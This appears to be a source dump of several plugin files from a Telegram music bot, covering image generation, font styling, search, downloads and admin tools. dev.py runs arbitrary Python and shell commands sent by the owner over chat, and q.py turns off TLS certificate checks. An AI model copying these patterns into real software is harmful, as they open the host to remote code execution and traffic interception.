p1 = "BrandrdXMusic/assets/upic.png"
try:
p2 = await app.download_media(photo2.big_file_id, file_name="pfp1.png")
except Exception:
p2 = "BrandrdXMusic/assets/upic.png"
img1 = Image.open(f"{p1}")
img2 = Image.open(f"{p2}")
img = Image.open("BrandrdXMusic/assets/cppicbranded.jpg")
img1 = img1.resize((437,437))
img2 = img2.resize((437,437))
mask = Image.new('L', img1.size, 0)
draw = ImageDraw.Draw(mask)
draw.ellipse((0, 0) + img1.size, fill=255)
mask1 = Image.new('L', img2.size, 0)
draw = ImageDraw.Draw(mask1)
draw.ellipse((0, 0) + img2.size, fill=255)
img1.putalpha(mask)
img2.putalpha(mask1)
draw = ImageDraw.Draw(img)
img.paste(img1, (116, 160), img1)
img.paste(img2, (789, 160), img2)
img.save(f'test_{cid}.png')
TXT = f"""
**ᴛᴏᴅᴀʏ's ᴄᴏᴜᴘʟᴇ ᴏғ ᴛʜᴇ ᴅᴀʏ :
{N1} + {N2} = 💚
ɴᴇxᴛ ᴄᴏᴜᴘʟᴇs ᴡɪʟʟ ʙᴇ sᴇʟᴇᴄᴛᴇᴅ ᴏɴ {tomorrow} !!**
"""
await message.reply_photo(f"test_{cid}.png", caption=TXT, reply_markup=InlineKeyboardMarkup(POLICE),
)
await msg.delete()
a = upload_file(f"test_{cid}.png")
for x in a:
img = "https://graph.org/" + x
couple = {"c1_id": c1_id, "c2_id": c2_id}
# await save_couple(cid, today, couple, img)
# elif is_selected:
# msg = await message.reply_text("𝐆ᴇᴛᴛɪɴɢ 𝐓ᴏᴅᴀʏs 𝐂ᴏᴜᴘʟᴇs 𝐈ᴍᴀɢᴇ...")
# b = await _get_image(cid)
# c1_id = int(is_selected["c1_id"])
# c2_id = int(is_selected["c2_id"])
# c1_name = (await app.get_users(c1_id)).first_name
# c2_name = (await app.get_users(c2_id)).first_name
# TXT = f"""
#**ᴛᴏᴅᴀʏ's sᴇʟᴇᴄᴛᴇᴅ ᴄᴏᴜᴘʟᴇs 🎉 :
#➖➖➖➖➖➖➖➖➖➖➖➖
#[{c1_name}](tg://openmessage?user_id={c1_id}) + [{c2_name}](tg://openmessage?user_id={c2_id}) = ❣️
#➖➖➖➖➖➖➖➖➖➖➖➖
#ɴᴇxᴛ ᴄᴏᴜᴘʟᴇꜱ ᴡɪʟʟ ʙᴇ ꜱᴇʟᴇᴄᴛᴇᴅ ᴏɴ {tomorrow} !!**
#"""
# await message.reply_photo(b, caption=TXT)
# await msg.delete()
except Exception as e:
print(str(e))
try:
os.remove(f"./downloads/pfp1.png")
os.remove(f"./downloads/pfp2.png")
os.remove(f"test_{cid}.png")
except Exception:
pass
__mod__ = "COUPLES"
__help__ = """
**» /couples** - Get Todays Couples Of The Group In Interactive View
"""
================================================
FILE: BrandrdXMusic/plugins/tools/dev.py
================================================
import os
import re
import subprocess
import sys
import traceback
from inspect import getfullargspec
from io import StringIO
from time import time
from pyrogram import filters
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message
from BrandrdXMusic import app
from config import OWNER_ID
async def aexec(code, client, message):
exec(
"async def __aexec(client, message): "
+ "".join(f"\n {a}" for a in code.split("\n"))
)
return await locals()["__aexec"](client, message)
async def edit_or_reply(msg: Message, **kwargs):
func = msg.edit_text if msg.from_user.is_self else msg.reply
spec = getfullargspec(func.__wrapped__).args
await func(**{k: v for k, v in kwargs.items() if k in spec})
@app.on_edited_message(
filters.command("eval")
& filters.user(OWNER_ID)
& ~filters.forwarded
& ~filters.via_bot
)
@app.on_message(
filters.command("eval")
& filters.user(OWNER_ID)
& ~filters.forwarded
& ~filters.via_bot
)
async def executor(client: app, message: Message):
if len(message.command) < 2:
return await edit_or_reply(message, text="ᴡʜᴀᴛ ʏᴏᴜ ᴡᴀɴɴᴀ ᴇxᴇᴄᴜᴛᴇ ʙᴀʙʏ ?")
try:
cmd = message.text.split(" ", maxsplit=1)[1]
except IndexError:
return await message.delete()
t1 = time()
old_stderr = sys.stderr
old_stdout = sys.stdout
redirected_output = sys.stdout = StringIO()
redirected_error = sys.stderr = StringIO()
stdout, stderr, exc = None, None, None
try:
await aexec(cmd, client, message)
except Exception:
exc = traceback.format_exc()
stdout = redirected_output.getvalue()
stderr = redirected_error.getvalue()
sys.stdout = old_stdout
sys.stderr = old_stderr
evaluation = "\n"
if exc:
evaluation += exc
elif stderr:
evaluation += stderr
elif stdout:
evaluation += stdout
else:
evaluation += "Success"
final_output = f"⥤ ʀᴇsᴜʟᴛ :\n{evaluation}"
if len(final_output) > 4096:
filename = "output.txt"
with open(filename, "w+", encoding="utf8") as out_file:
out_file.write(str(evaluation))
t2 = time()
keyboard = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text="⏳",
callback_data=f"runtime {t2-t1} Seconds",
)
]
]
)
await message.reply_document(
document=filename,
caption=f"⥤ ᴇᴠᴀʟ :\n{cmd[0:980]}\n\n⥤ ʀᴇsᴜʟᴛ :\nAttached Document",
quote=False,
reply_markup=keyboard,
)
await message.delete()
os.remove(filename)
else:
t2 = time()
keyboard = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text="⏳",
callback_data=f"runtime {round(t2-t1, 3)} Seconds",
),
InlineKeyboardButton(
text="🗑",
callback_data=f"forceclose abc|{message.from_user.id}",
),
]
]
)
await edit_or_reply(message, text=final_output, reply_markup=keyboard)
@app.on_callback_query(filters.regex(r"runtime"))
async def runtime_func_cq(_, cq):
runtime = cq.data.split(None, 1)[1]
await cq.answer(runtime, show_alert=True)
@app.on_callback_query(filters.regex("forceclose"))
async def forceclose_command(_, CallbackQuery):
callback_data = CallbackQuery.data.strip()
callback_request = callback_data.split(None, 1)[1]
query, user_id = callback_request.split("|")
if CallbackQuery.from_user.id != int(user_id):
try:
return await CallbackQuery.answer(
"» ɪᴛ'ʟʟ ʙᴇ ʙᴇᴛᴛᴇʀ ɪғ ʏᴏᴜ sᴛᴀʏ ɪɴ ʏᴏᴜʀ ʟɪᴍɪᴛs ʙᴀʙʏ.", show_alert=True
)
except:
return
await CallbackQuery.message.delete()
try:
await CallbackQuery.answer()
except:
return
@app.on_edited_message(
filters.command("sh")
& filters.user(OWNER_ID)
& ~filters.forwarded
& ~filters.via_bot
)
@app.on_message(
filters.command("sh")
& filters.user(OWNER_ID)
& ~filters.forwarded
& ~filters.via_bot
)
async def shellrunner(_, message: Message):
if len(message.command) < 2:
return await edit_or_reply(message, text="ᴇxᴀᴍᴩʟᴇ :\n/sh git pull")
text = message.text.split(None, 1)[1]
if "\n" in text:
code = text.split("\n")
output = ""
for x in code:
shell = re.split(""" (?=(?:[^'"]|'[^']*'|"[^"]*")*$)""", x)
try:
process = subprocess.Popen(
shell,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
except Exception as err:
await edit_or_reply(message, text=f"ERROR :\n{err}")
output += f"{code}\n"
output += process.stdout.read()[:-1].decode("utf-8")
output += "\n"
else:
shell = re.split(""" (?=(?:[^'"]|'[^']*'|"[^"]*")*$)""", text)
for a in range(len(shell)):
shell[a] = shell[a].replace('"', "")
try:
process = subprocess.Popen(
shell,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
except Exception as err:
print(err)
exc_type, exc_obj, exc_tb = sys.exc_info()
errors = traceback.format_exception(
etype=exc_type,
value=exc_obj,
tb=exc_tb,
)
return await edit_or_reply(
message, text=f"ERROR :\n{''.join(errors)}"
)
output = process.stdout.read()[:-1].decode("utf-8")
if str(output) == "\n":
output = None
if output:
if len(output) > 4096:
with open("output.txt", "w+") as file:
file.write(output)
await app.send_document(
message.chat.id,
"output.txt",
reply_to_message_id=message.id,
caption="Output",
)
return os.remove("output.txt")
await edit_or_reply(message, text=f"OUTPUT :\n{output}")
else:
await edit_or_reply(message, text="OUTPUT :\nNone")
await message.stop_propagation()
================================================
FILE: BrandrdXMusic/plugins/tools/font.py
================================================
from pyrogram import filters
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup
from BrandrdXMusic import app
from BrandrdXMusic.utils.branded_font import Fonts
@app.on_message(filters.command(["font", "fonts"]))
async def style_buttons(c, m, cb=False):
buttons = [
[
InlineKeyboardButton("𝚃𝚢𝚙𝚎𝚠𝚛𝚒𝚝𝚎𝚛", callback_data="style+typewriter"),
InlineKeyboardButton("𝕆𝕦𝕥𝕝𝕚𝕟𝕖", callback_data="style+outline"),
InlineKeyboardButton("𝐒𝐞𝐫𝐢𝐟", callback_data="style+serif"),
],
[
InlineKeyboardButton("𝑺𝒆𝒓𝒊𝒇", callback_data="style+bold_cool"),
InlineKeyboardButton("𝑆𝑒𝑟𝑖𝑓", callback_data="style+cool"),
InlineKeyboardButton("Sᴍᴀʟʟ Cᴀᴘs", callback_data="style+small_cap"),
],
[
InlineKeyboardButton("𝓈𝒸𝓇𝒾𝓅𝓉", callback_data="style+script"),
InlineKeyboardButton("𝓼𝓬𝓻𝓲𝓹𝓽", callback_data="style+script_bolt"),
InlineKeyboardButton("ᵗⁱⁿʸ", callback_data="style+tiny"),
],
[
InlineKeyboardButton("ᑕOᗰIᑕ", callback_data="style+comic"),
InlineKeyboardButton("𝗦𝗮𝗻𝘀", callback_data="style+sans"),
InlineKeyboardButton("𝙎𝙖𝙣𝙨", callback_data="style+slant_sans"),
],
[
InlineKeyboardButton("𝘚𝘢𝘯𝘴", callback_data="style+slant"),
InlineKeyboardButton("𝖲𝖺𝗇𝗌", callback_data="style+sim"),
InlineKeyboardButton("Ⓒ︎Ⓘ︎Ⓡ︎Ⓒ︎Ⓛ︎Ⓔ︎Ⓢ︎", callback_data="style+circles"),
],
[
InlineKeyboardButton("🅒︎🅘︎🅡︎🅒︎🅛︎🅔︎🅢︎", callback_data="style+circle_dark"),
InlineKeyboardButton("𝔊𝔬𝔱𝔥𝔦𝔠", callback_data="style+gothic"),
InlineKeyboardButton("𝕲𝖔𝖙𝖍𝖎𝖈", callback_data="style+gothic_bolt"),
],
[
InlineKeyboardButton("C͜͡l͜͡o͜͡u͜͡d͜͡s͜͡", callback_data="style+cloud"),
InlineKeyboardButton("H̆̈ă̈p̆̈p̆̈y̆̈", callback_data="style+happy"),
InlineKeyboardButton("S̑̈ȃ̈d̑̈", callback_data="style+sad"),
],
[InlineKeyboardButton("ɴᴇxᴛ ➻", callback_data="nxt")],
]
if not cb:
await m.reply_text(
text=m.text.split(None, 1)[1],
reply_markup=InlineKeyboardMarkup(buttons),
quote=True,
)
else:
await m.answer()
await m.message.edit_reply_markup(InlineKeyboardMarkup(buttons))
@app.on_callback_query(filters.regex("^nxt"))
async def nxt(c, m):
if m.data == "nxt":
buttons = [
[
InlineKeyboardButton("🇸 🇵 🇪 🇨 🇮 🇦 🇱 ", callback_data="style+special"),
InlineKeyboardButton("🅂🅀🅄🄰🅁🄴🅂", callback_data="style+squares"),
InlineKeyboardButton("🆂︎🆀︎🆄︎🅰︎🆁︎🅴︎🆂︎", callback_data="style+squares_bold"),
],
[
InlineKeyboardButton("ꪖꪀᦔꪖꪶꪊᥴ𝓲ꪖ", callback_data="style+andalucia"),
InlineKeyboardButton("爪卂几ᘜ卂", callback_data="style+manga"),
InlineKeyboardButton("S̾t̾i̾n̾k̾y̾", callback_data="style+stinky"),
],
[
InlineKeyboardButton("B̥ͦu̥ͦb̥ͦb̥ͦl̥ͦe̥ͦs̥ͦ", callback_data="style+bubbles"),
InlineKeyboardButton("U͟n͟d͟e͟r͟l͟i͟n͟e͟", callback_data="style+underline"),
InlineKeyboardButton("꒒ꍏꀷꌩꌃꀎꁅ", callback_data="style+ladybug"),
],
[
InlineKeyboardButton("R҉a҉y҉s҉", callback_data="style+rays"),
InlineKeyboardButton("B҈i҈r҈d҈s҈", callback_data="style+birds"),
InlineKeyboardButton("S̸l̸a̸s̸h̸", callback_data="style+slash"),
],
[
InlineKeyboardButton("s⃠t⃠o⃠p⃠", callback_data="style+stop"),
InlineKeyboardButton("S̺͆k̺͆y̺͆l̺͆i̺͆n̺͆e̺͆", callback_data="style+skyline"),
InlineKeyboardButton("A͎r͎r͎o͎w͎s͎", callback_data="style+arrows"),
],
[
InlineKeyboardButton("ዪሀክቿነ", callback_data="style+qvnes"),
InlineKeyboardButton("S̶t̶r̶i̶k̶e̶", callback_data="style+strike"),
InlineKeyboardButton("F༙r༙o༙z༙e༙n༙", callback_data="style+frozen"),
],
[InlineKeyboardButton("ʙᴀᴄᴋ", callback_data="nxt+0")],
]
await m.answer()
await m.message.edit_reply_markup(InlineKeyboardMarkup(buttons))
else:
await style_buttons(c, m, cb=True)
@app.on_callback_query(filters.regex("^style"))
async def style(c, m):
await m.answer()
cmd, style = m.data.split("+")
if style == "typewriter":
cls = Fonts.typewriter
if style == "outline":
cls = Fonts.outline
if style == "serif":
cls = Fonts.serief
if style == "bold_cool":
cls = Fonts.bold_cool
if style == "cool":
cls = Fonts.cool
if style == "small_cap":
cls = Fonts.smallcap
if style == "script":
cls = Fonts.script
if style == "script_bolt":
cls = Fonts.bold_script
if style == "tiny":
cls = Fonts.tiny
if style == "comic":
cls = Fonts.comic
if style == "sans":
cls = Fonts.san
if style == "slant_sans":
cls = Fonts.slant_san
if style == "slant":
cls = Fonts.slant
if style == "sim":
cls = Fonts.sim
if style == "circles":
cls = Fonts.circles
if style == "circle_dark":
cls = Fonts.dark_circle
if style == "gothic":
cls = Fonts.gothic
if style == "gothic_bolt":
cls = Fonts.bold_gothic
if style == "cloud":
cls = Fonts.cloud
if style == "happy":
cls = Fonts.happy
if style == "sad":
cls = Fonts.sad
if style == "special":
cls = Fonts.special
if style == "squares":
cls = Fonts.square
if style == "squares_bold":
cls = Fonts.dark_square
if style == "andalucia":
cls = Fonts.andalucia
if style == "manga":
cls = Fonts.manga
if style == "stinky":
cls = Fonts.stinky
if style == "bubbles":
cls = Fonts.bubbles
if style == "underline":
cls = Fonts.underline
if style == "ladybug":
cls = Fonts.ladybug
if style == "rays":
cls = Fonts.rays
if style == "birds":
cls = Fonts.birds
if style == "slash":
cls = Fonts.slash
if style == "stop":
cls = Fonts.stop
if style == "skyline":
cls = Fonts.skyline
if style == "arrows":
cls = Fonts.arrows
if style == "qvnes":
cls = Fonts.rvnes
if style == "strike":
cls = Fonts.strike
if style == "frozen":
cls = Fonts.frozen
new_text = cls(m.message.reply_to_message.text.split(None, 1)[1])
try:
await m.message.edit_text(new_text, reply_markup=m.message.reply_markup)
except:
pass
================================================
FILE: BrandrdXMusic/plugins/tools/google.py
================================================
import logging
from googlesearch import search
from pyrogram import filters
from BrandrdXMusic import app
from SafoneAPI import SafoneAPI
@app.on_message(filters.command(["google", "gle"]))
async def google(bot, message):
if len(message.command) < 2 and not message.reply_to_message:
await message.reply_text("Example:\n\n`/google lord ram`")
return
if message.reply_to_message and message.reply_to_message.text:
user_input = message.reply_to_message.text
else:
user_input = " ".join(message.command[1:])
b = await message.reply_text("**Sᴇᴀʀᴄʜɪɴɢ ᴏɴ Gᴏᴏɢʟᴇ....**")
try:
a = search(user_input, advanced=True)
txt = f"Search Query: {user_input}\n\nresults"
for result in a:
txt += f"\n\n[❍ {result.title}]({result.url})\n{result.description}"
await b.edit(
txt,
disable_web_page_preview=True,
)
except Exception as e:
await b.edit(e)
logging.exception(e)
@app.on_message(filters.command(["app", "apps"]))
async def app(bot, message):
if len(message.command) < 2 and not message.reply_to_message:
await message.reply_text("Example:\n\n`/app Free Fire`")
return
if message.reply_to_message and message.reply_to_message.text:
user_input = message.reply_to_message.text
else:
user_input = " ".join(message.command[1:])
cbb = await message.reply_text("**Sᴇᴀʀᴄʜɪɴɢ ᴏɴ Pʟᴀʏ Sᴛᴏʀᴇ....**")
a = await SafoneAPI().apps(user_input, 1)
b = a["results"][0]
icon = b["icon"]
id = b["id"]
link = b["link"]
ca = b["description"]
title = b["title"]
dev = b["developer"]
info = f"[ᴛɪᴛʟᴇ : {title}]({link})\nɪᴅ: {id}\nᴅᴇᴠᴇʟᴏᴘᴇʀ : {dev}\nᴅᴇsᴄʀɪᴘᴛɪᴏɴ : {ca}"
try:
await message.reply_photo(icon, caption=info)
await cbb.delete()
except Exception as e:
await message.reply_text(e)
================================================
FILE: BrandrdXMusic/plugins/tools/id.py
================================================
from BrandrdXMusic import app
from pyrogram import filters
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup
@app.on_message(filters.command("id"))
def ids(_, message):
reply = message.reply_to_message
if reply:
button = InlineKeyboardButton("✯ ᴄʟᴏsᴇ ✯", callback_data="close")
markup = InlineKeyboardMarkup([[button]])
message.reply_text(
f"User {reply.from_user.first_name} ID is : {reply.from_user.id}",
reply_markup=markup
)
else:
button = InlineKeyboardButton("✯ ᴄʟᴏsᴇ ✯", callback_data="close")
markup = InlineKeyboardMarkup([[button]])
message.reply(
f"ᴛʜɪs ɢʀᴏᴜᴩ's ɪᴅ ɪs: {message.chat.id}",
reply_markup=markup
)
================================================
FILE: BrandrdXMusic/plugins/tools/ig.py
================================================
import requests
from pyrogram import filters
from BrandrdXMusic import app
@app.on_message(filters.command(["ig", "instagram", "reel"]))
async def download_instagram_video(client, message):
if len(message.command) < 2:
await message.reply_text(
"Pʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ ᴛʜᴇ Iɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ URL ᴀғᴛᴇʀ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ"
)
return
a = await message.reply_text("ᴘʀᴏᴄᴇssɪɴɢ...")
url = message.text.split()[1]
api_url = (
f"https://nodejs-1xn1lcfy3-jobians.vercel.app/v2/downloader/instagram?url={url}"
)
response = requests.get(api_url)
data = response.json()
if data["status"]:
video_url = data["data"][0]["url"]
await a.delete()
await client.send_video(message.chat.id, video_url)
else:
await a.edit("Fᴀɪʟᴇᴅ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ ʀᴇᴇʟ")
__MODULE__ = "Iɴsᴛᴀɢʀᴀᴍ"
__HELP__ = """/reel [ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ ᴜʀʟ] - Tᴏ ᴅᴏᴡɴʟᴏᴀᴅ ᴛʜᴇ ʀᴇᴇʟ ʙʏ ʙᴏᴛ
/ig [ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ ᴜʀʟ] - Tᴏ ᴅᴏᴡɴʟᴏᴀᴅ ᴛʜᴇ ʀᴇᴇʟ ʙʏ ʙᴏᴛ
/instagram [ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ ᴜʀʟ] - Tᴏ ᴅᴏᴡɴʟᴏᴀᴅ ᴛʜᴇ ʀᴇᴇʟ ʙʏ ʙᴏᴛ
"""
================================================
FILE: BrandrdXMusic/plugins/tools/image.py
================================================
import os
import shutil
from re import findall
from bing_image_downloader import downloader
from pyrogram import Client, filters
from pyrogram.types import InputMediaPhoto, Message
from BrandrdXMusic import app
@app.on_message(filters.command(["imgs", "image"], prefixes=["/", "!"]))
async def google_img_search(client: Client, message: Message):
chat_id = message.chat.id
try:
query = message.text.split(None, 1)[1]
except IndexError:
return await message.reply("Provide an image query to search!")
lim = findall(r"lim=\d+", query)
try:
lim = int(lim[0].replace("lim=", ""))
query = query.replace(f"lim={lim}", "")
except IndexError:
lim = 5 # Default limit to 5 images
download_dir = "downloads"
try:
downloader.download(query, limit=lim, output_dir=download_dir, adult_filter_off=True, force_replace=False, timeout=60)
images_dir = os.path.join(download_dir, query)
if not os.listdir(images_dir):
raise Exception("No images were downloaded.")
lst = [os.path.join(images_dir, img) for img in os.listdir(images_dir)][:lim] # Ensure we only take the number of images specified by lim
except Exception as e:
return await message.reply(f"Error in downloading images: {e}")
msg = await message.reply("𝔹𝕣𝕒𝕟𝕕𝕖𝕕𝕏𝕄𝕒𝕟𝕒𝕘𝕖𝕞𝕖𝕟𝕥 Scrapping images...")
count = 0
for img in lst:
count += 1
await msg.edit(f"=> 𝔹𝕣𝕒𝕟𝕕𝕖𝕕𝕏𝕄𝕒𝕟𝕒𝕘𝕖𝕞𝕖𝕟𝕥 owo scrapped images {count}")
try:
await app.send_media_group(
chat_id=chat_id,
media=[InputMediaPhoto(media=img) for img in lst],
reply_to_message_id=message.id
)
shutil.rmtree(images_dir)
await msg.delete()
except Exception as e:
await msg.delete()
return await message.reply(f"Error in sending images: {e}")
================================================
FILE: BrandrdXMusic/plugins/tools/language.py
================================================
from pykeyboard import InlineKeyboard
from pyrogram import filters
from pyrogram.types import InlineKeyboardButton, Message
from BrandrdXMusic import app
from BrandrdXMusic.utils.database import get_lang, set_lang
from BrandrdXMusic.utils.decorators import (ActualAdminCB, language, languageCB)
from config import BANNED_USERS
from strings import get_string, languages_present
def lanuages_keyboard(_):
keyboard = InlineKeyboard(row_width=2)
keyboard.add(
*[
(
InlineKeyboardButton(
text=languages_present[i],
callback_data=f"languages:{i}",
)
)
for i in languages_present
]
)
keyboard.row(
InlineKeyboardButton(
text=_["BACK_BUTTON"],
callback_data=f"settingsback_helper",
),
InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data=f"close"),
)
return keyboard
@app.on_message(filters.command(["lang", "setlang", "language"]) & ~BANNED_USERS)
@language
async def langs_command(client, message: Message, _):
keyboard = lanuages_keyboard(_)
await message.reply_text(
_["lang_1"].format(message.chat.title, message.chat.id),
reply_markup=keyboard,
)
@app.on_callback_query(filters.regex("LG") & ~BANNED_USERS)
@languageCB
async def lanuagecb(client, CallbackQuery, _):
try:
await CallbackQuery.answer()
except:
pass
keyboard = lanuages_keyboard(_)
return await CallbackQuery.edit_message_reply_markup(reply_markup=keyboard)
@app.on_callback_query(filters.regex(r"languages:(.*?)") & ~BANNED_USERS)
@ActualAdminCB
async def language_markup(client, CallbackQuery, _):
langauge = (CallbackQuery.data).split(":")[1]
old = await get_lang(CallbackQuery.message.chat.id)
if str(old) == str(langauge):
return await CallbackQuery.answer(_["lang_4"], show_alert=True)
try:
_ = get_string(langauge)
await CallbackQuery.answer(_["lang_2"], show_alert=True)
except:
_ = get_string(old)
return await CallbackQuery.answer(
_["lang_3"],
show_alert=True,
)
await set_lang(CallbackQuery.message.chat.id, langauge)
keyboard = lanuages_keyboard(_)
return await CallbackQuery.edit_message_reply_markup(reply_markup=keyboard)
================================================
FILE: BrandrdXMusic/plugins/tools/left.py
================================================
from BrandrdXMusic import app
from pyrogram import Client, filters
from pyrogram.errors import RPCError
from pyrogram.types import ChatMemberUpdated, InlineKeyboardMarkup, InlineKeyboardButton
from os import environ
from typing import Union, Optional
from PIL import Image, ImageDraw, ImageFont
import asyncio
# --------------------------------------------------------------------------------- #
get_font = lambda font_size, font_path: ImageFont.truetype(font_path, font_size)
resize_text = (
lambda text_size, text: (text[:text_size] + "...").upper()
if len(text) > text_size
else text.upper()
)
# --------------------------------------------------------------------------------- #
async def get_userinfo_img(
bg_path: str,
font_path: str,
user_id: Union[int, str],
profile_path: Optional[str] = None
):
bg = Image.open(bg_path)
if profile_path:
img = Image.open(profile_path)
mask = Image.new("L", img.size, 0)
draw = ImageDraw.Draw(mask)
draw.pieslice([(0, 0), img.size], 0, 360, fill=255)
circular_img = Image.new("RGBA", img.size, (0, 0, 0, 0))
circular_img.paste(img, (0, 0), mask)
resized = circular_img.resize((400, 400))
bg.paste(resized, (440, 160), resized)
img_draw = ImageDraw.Draw(bg)
img_draw.text(
(529, 627),
text=str(user_id).upper(),
font=get_font(46, font_path),
fill=(255, 255, 255),
)
path = f"./userinfo_img_{user_id}.png"
bg.save(path)
return path
# --------------------------------------------------------------------------------- #
bg_path = "BrandrdXMusic/assets/userinfo.png"
font_path = "BrandrdXMusic/assets/hiroko.ttf"
# --------------------------------------------------------------------------------- #
# -------------
@app.on_chat_member_updated(filters.group, group=20)
async def member_has_left(client: app, member: ChatMemberUpdated):
if (
not member.new_chat_member
and member.old_chat_member.status not in {
"banned", "left", "restricted"
}
and member.old_chat_member
):
pass
else:
return
user = (
member.old_chat_member.user
if member.old_chat_member
else member.from_user
)
# Check if the user has a profile photo
if user.photo and user.photo.big_file_id:
try:
# Add the photo path, caption, and button details
photo = await app.download_media(user.photo.big_file_id)
welcome_photo = await get_userinfo_img(
bg_path=bg_path,
font_path=font_path,
user_id=user.id,
profile_path=photo,
)
caption = f"**#New_Member_Left**\n\n**๏** {user.mention} **ʜᴀs ʟᴇғᴛ ᴛʜɪs ɢʀᴏᴜᴘ**\n**๏ sᴇᴇ ʏᴏᴜ sᴏᴏɴ ᴀɢᴀɪɴ..!**"
button_text = "๏ ᴠɪᴇᴡ ᴜsᴇʀ ๏"
# Generate a deep link to open the user's profile
deep_link = f"tg://openmessage?user_id={user.id}"
# Send the message with the photo, caption, and button
message = await client.send_photo(
chat_id=member.chat.id,
photo=welcome_photo,
caption=caption,
reply_markup=InlineKeyboardMarkup([
[InlineKeyboardButton(button_text, url=deep_link)]
])
)
# Schedule a task to delete the message after 30 seconds
async def delete_message():
await asyncio.sleep(30)
await message.delete()
# Run the task
asyncio.create_task(delete_message())
except RPCError as e:
print(e)
return
else:
# Handle the case where the user has no profile photo
print(f"User {user.id} has no profile photo.")
================================================
FILE: BrandrdXMusic/plugins/tools/paste.py
================================================
import asyncio
import os
import re
import aiofiles
from pykeyboard import InlineKeyboard
from pyrogram import filters
from pyrogram.types import InlineKeyboardButton
from aiohttp import ClientSession
from BrandrdXMusic import app
from BrandrdXMusic.utils.errors import capture_err
from BrandrdXMusic.utils.pastebin import HottyBin
pattern = re.compile(r"^text/|json$|yaml$|xml$|toml$|x-sh$|x-shellscript$")
async def isPreviewUp(preview: str) -> bool:
for _ in range(7):
try:
async with session.head(preview, timeout=2) as resp:
status = resp.status
size = resp.content_length
except asyncio.exceptions.TimeoutError:
return False
if status == 404 or (status == 200 and size == 0):
await asyncio.sleep(0.4)
else:
return True if status == 200 else False
return False
@app.on_message(filters.command("paste"))
@capture_err
async def paste_func(_, message):
if not message.reply_to_message:
return await message.reply_text("Reply To A Message With /paste")
m = await message.reply_text("Pasting...")
if message.reply_to_message.text:
content = str(message.reply_to_message.text)
elif message.reply_to_message.document:
document = message.reply_to_message.document
if document.file_size > 1048576:
return await m.edit("You can only paste files smaller than 1MB.")
if not pattern.search(document.mime_type):
return await m.edit("Only text files can be pasted.")
doc = await message.reply_to_message.download()
async with aiofiles.open(doc, mode="r") as f:
content = await f.read()
os.remove(doc)
link = await HottyBin(content)
preview = link
button = InlineKeyboard(row_width=1)
button.add(InlineKeyboardButton(text="• ᴘᴀsᴛᴇ ʟɪɴᴋ •", url=link))
await m.delete()
try:
await message.reply("ʜᴇʀᴇ ɪs ʏᴏᴜʀ ᴘᴀsᴛᴇ ʟɪɴᴋ :", quote=False, reply_markup=button)
except Exception:
pass
================================================
FILE: BrandrdXMusic/plugins/tools/ping.py
================================================
from datetime import datetime
from pyrogram import filters
from pyrogram.types import Message
from BrandrdXMusic import app
from BrandrdXMusic.core.call import Hotty
from BrandrdXMusic.utils import bot_sys_stats
from BrandrdXMusic.utils.decorators.language import language
from BrandrdXMusic.utils.inline import supp_markup
from config import BANNED_USERS, PING_IMG_URL
@app.on_message(filters.command(["ping", "alive"]) & ~BANNED_USERS)
@language
async def ping_com(client, message: Message, _):
start = datetime.now()
response = await message.reply_photo(
photo=PING_IMG_URL,
caption=_["ping_1"].format(app.mention),
)
pytgping = await Hotty.ping()
UP, CPU, RAM, DISK = await bot_sys_stats()
resp = (datetime.now() - start).microseconds / 1000
await response.edit_text(
_["ping_2"].format(resp, app.mention, UP, RAM, CPU, DISK, pytgping),
reply_markup=supp_markup(_),
)
================================================
FILE: BrandrdXMusic/plugins/tools/q.py
================================================
from io import BytesIO
from httpx import AsyncClient, Timeout
from pyrogram import filters
from pyrogram.types import Message
from BrandrdXMusic import app
fetch = AsyncClient(
http2=True,
verify=False,
headers={
"Accept-Language": "id-ID",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edge/107.0.1418.42",
},
timeout=Timeout(20),
)
class QuotlyException(Exception):
pass
async def get_message_sender_id(ctx: Message):
if ctx.forward_date:
if ctx.forward_sender_name:
return 1
elif ctx.forward_from:
return ctx.forward_from.id
elif ctx.forward_from_chat:
return ctx.forward_from_chat.id
else:
return 1
elif ctx.from_user:
return ctx.from_user.id
elif ctx.sender_chat:
return ctx.sender_chat.id
else:
return 1
async def get_message_sender_name(ctx: Message):
if ctx.forward_date:
if ctx.forward_sender_name:
return ctx.forward_sender_name
elif ctx.forward_from:
return (
f"{ctx.forward_from.first_name} {ctx.forward_from.last_name}"
if ctx.forward_from.last_name
else ctx.forward_from.first_name
)
elif ctx.forward_from_chat:
return ctx.forward_from_chat.title
else:
return ""
elif ctx.from_user:
if ctx.from_user.last_name:
return f"{ctx.from_user.first_name} {ctx.from_user.last_name}"
else:
return ctx.from_user.first_name
elif ctx.sender_chat:
return ctx.sender_chat.title
else:
return ""
async def get_custom_emoji(ctx: Message):
if ctx.forward_date:
return (
""
if ctx.forward_sender_name
or not ctx.forward_from
and ctx.forward_from_chat
or not ctx.forward_from
else ctx.forward_from.emoji_status.custom_emoji_id
)
return ctx.from_user.emoji_status.custom_emoji_id if ctx.from_user else ""
async def get_message_sender_username(ctx: Message):
if ctx.forward_date:
if (
not ctx.forward_sender_name
and not ctx.forward_from
and ctx.forward_from_chat
and ctx.forward_from_chat.username
):
return ctx.forward_from_chat.username
elif (
not ctx.forward_sender_name
and not ctx.forward_from
and ctx.forward_from_chat
or ctx.forward_sender_name
or not ctx.forward_from
):
return ""
else:
return ctx.forward_from.username or ""
elif ctx.from_user and ctx.from_user.username:
return ctx.from_user.username
elif (
ctx.from_user
or ctx.sender_chat
and not ctx.sender_chat.username
or not ctx.sender_chat
):
return ""
else:
